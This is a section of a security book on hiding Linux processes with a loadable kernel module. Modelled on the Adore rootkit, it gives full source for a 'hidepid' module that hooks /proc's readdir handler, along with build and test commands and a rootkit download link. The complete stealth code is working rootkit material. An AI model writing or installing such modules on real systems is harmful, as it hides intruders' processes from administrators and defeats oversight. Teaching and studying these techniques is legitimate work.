Team LiB
Previous Section Next Section

7.3. Hiding Processes

Adore is a popular LKM-based rootkit. Among its many features, it allows a user to hide processes by altering the /proc system's readdir handler.

Download the Adore rootkit at http://packetstormsecurity.nl/groups/teso/.


The /proc system stores a lot of system information, including process information. For example, let's assume sshd is running on our system. You can use the ps tool to obtain sshd's Process ID (PID):

[notroot]$ ps x | grep sshd
1431 ?       S    0:00 /usr/sbin/sshd
4721 tty1    S    0:00 grep sshd

In our example, the sshd process's PID is 1431. Let's look in /proc/1431 to obtain more information about the sshd process:

[notroot]$ ls -l /proc/1431/
total 0
-r--------    1 root     root            0 Sep  4 09:14 auxv
-r--r--r--    1 root     root            0 Sep  4 09:12 cmdline
lrwxrwxrwx    1 root     root            0 Sep  4 09:14 cwd -> /
-r--------    1 root     root            0 Sep  4 09:12 environ
lrwxrwxrwx    1 root     root            0 Sep  4 09:14 exe -> /usr/sbin/sshd
dr-x------    2 root     root            0 Sep  4 09:14 fd
-r--r--r--    1 root     root            0 Sep  4 09:14 maps
-rw-------    1 root     root            0 Sep  4 09:14 mem
-r--r--r--    1 root     root            0 Sep  4 09:14 mounts
lrwxrwxrwx    1 root     root            0 Sep  4 09:14 root -> /
-r--r--r--    1 root     root            0 Sep  4 09:12 stat
-r--r--r--    1 root     root            0 Sep  4 09:14 statm
-r--r--r--    1 root     root            0 Sep  4 09:12 status
dr-xr-xr-x    3 root     root            0 Sep  4 09:14 task
-r--r--r--    1 root     root            0 Sep  4 09:14 wchan

As you can see, the /proc filesystem also stores process information. The ps tool uses the /proc system to enumerate the processes running on a system.

In this section, we will use Adore's techniques to hide a given process with an LKM that we will call hidepid. For example, let's create a simple process we want to hide:

[notroot]$ sleep 999999 &
[1] 4781

From the preceding sleep command, we know process 4781 will be available for 999,999 seconds, so we will attempt to hide this process.

The hide_pid( ) function in hidepid.c expects a pointer to /proc's original readdir handler, as well as the new readdir handler. First, the function attempts to obtain a file descriptor by attempting to open /proc:

if((filep = filp_open("/proc",O_RDONLY,0))==NULL)
                return -1;

The pointer to /proc's readdir handler is stored so we can restore it before the LKM exits:

if(orig_readdir)
                *orig_readdir = filep->f_op->readdir;

Next, /proc's readdir handler is set to new_readdir:

filep->f_op->readdir=new_readdir;

The hide_pid( ) function is invoked with the following parameters upon initialization:

hide_pid(&orig_proc_readdir,my_proc_readdir);

Because my_proc_readdir is passed as the second parameter to hide_pid( ), which corresponds with new_readdir, the LKM sets /proc's readdir handler to my_proc_readdir. The my_proc_readdir( ) function invokes the original_proc_readdir() function but with my_proc_filldir as the handler. The my_proc_filldir( ) function simply checks if the name of the PID being read from /proc is the same as the name of the PID we are trying to hide. If it is, the function simply returns. Otherwise, it calls the original filldir( ):

if(adore_atoi(name)==HIDEPID)
                return 0;
                
return proc_filldir(buf, name, nlen, off, ino, x);

When the LKM is unloaded, restore( ) is invoked to reset /proc's readdir handler:

if ((filep = filp_open("/proc", O_RDONLY, 0)) == NULL)
                return -1;
 
filep->f_op->readdir = orig_readdir;

7.3.1. hidepid.c

Following is the full source code of our hidepid LKM:

/*Thanks to adore-ng from Stealth for the ideas used in this code*/

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <net/sock.h>

#define HIDEPID 4781

typedef int (*readdir_t)(struct file *, void *, filldir_t);

readdir_t orig_proc_readdir=NULL;

filldir_t proc_filldir = NULL;

/*Convert string to integer. Strip non-integer characters. Courtesy
adore-ng*/

int adore_atoi(const char *str)
{
        int ret = 0, mul = 1;
        const char *ptr;
        for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++)
                ;
        ptr--;
        while (ptr >= str) {
                if (*ptr < '0' || *ptr > '9')
                        break;
                ret += (*ptr - '0') * mul;
                mul *= 10;
ptr--;   
        }

        return ret;
}

int my_proc_filldir (void *buf, const char *name, int nlen, loff_t off,
ino_t ino, unsigned x)
{
        /*If name is equal to our pid, then we return 0. This way,
        our pid isn't visible*/
        if(adore_atoi(name)==HIDEPID)
        {

                return 0;
        }
        /*Otherwise, call original filldir*/
        return proc_filldir(buf, name, nlen, off, ino, x);
}
 
int my_proc_readdir(struct file *fp, void *buf, filldir_t filldir)
{
        int r=0;
                 
        proc_filldir = filldir;
        
        /*invoke orig_proc_readdir with my_proc_filldir*/
        r=orig_proc_readdir(fp,buf,my_proc_filldir);
                
        return r;
}

int hide_pid(readdir_t *orig_readdir, readdir_t new_readdir)
{
        struct file *filep;

        /*open /proc */
        if((filep = filp_open("/proc",O_RDONLY,0))==NULL)
        {
                return -1;
        }
        /*store proc's readdir*/
        if(orig_readdir)
                *orig_readdir = filep->f_op->readdir;
         
        /*set proc's readdir to new_readdir*/
        filep->f_op->readdir=new_readdir;
 
        filp_close(filep,0);

        return 0;
}
                 
/*restore /proc's readdir*/
int restore (readdir_t orig_readdir)
{
        struct file *filep;
                
        /*open /proc */
if ((filep = filp_open("/proc", O_RDONLY, 0)) == NULL) {
                return -1;
        }

        /*restore /proc's readdir*/
        filep->f_op->readdir = orig_readdir;

        filp_close(filep, 0);
        
        return 0;
}
         
static int __init myinit(void)  
{
        hide_pid(&orig_proc_readdir,my_proc_readdir);
         
        return 0;
}
 
static void myexit(void)
{
        restore(orig_proc_readdir);
}
                 
module_init(myinit);
module_exit(myexit);
 
MODULE_LICENSE("GPL");

7.3.2. Compiling and Testing hidepid

To test the module, use the following makefile:

obj-m += hidepid.o

Compile using the following make command:

[notroot]$ make -C /usr/src/linux-`uname -r` SUBDIRS=$PWD modules

Test the module by executing ps to list the sleep process we initiated earlier:

[notroot]$ ps a | grep 4781
4781 tty1  S      0:00 sleep 999999
6545 tty1  R      0:00 grep 4781

Insert the module:

[root]# insmod ./hidepid.ko

Now, the sleep process is no longer visible:

[notroot]$ ps a | grep 4781
6545 tty1  R      0:00 grep 4781

Remember to remove the module when done:

[root]# rmmod hidepid

    Team LiB
    Previous Section Next Section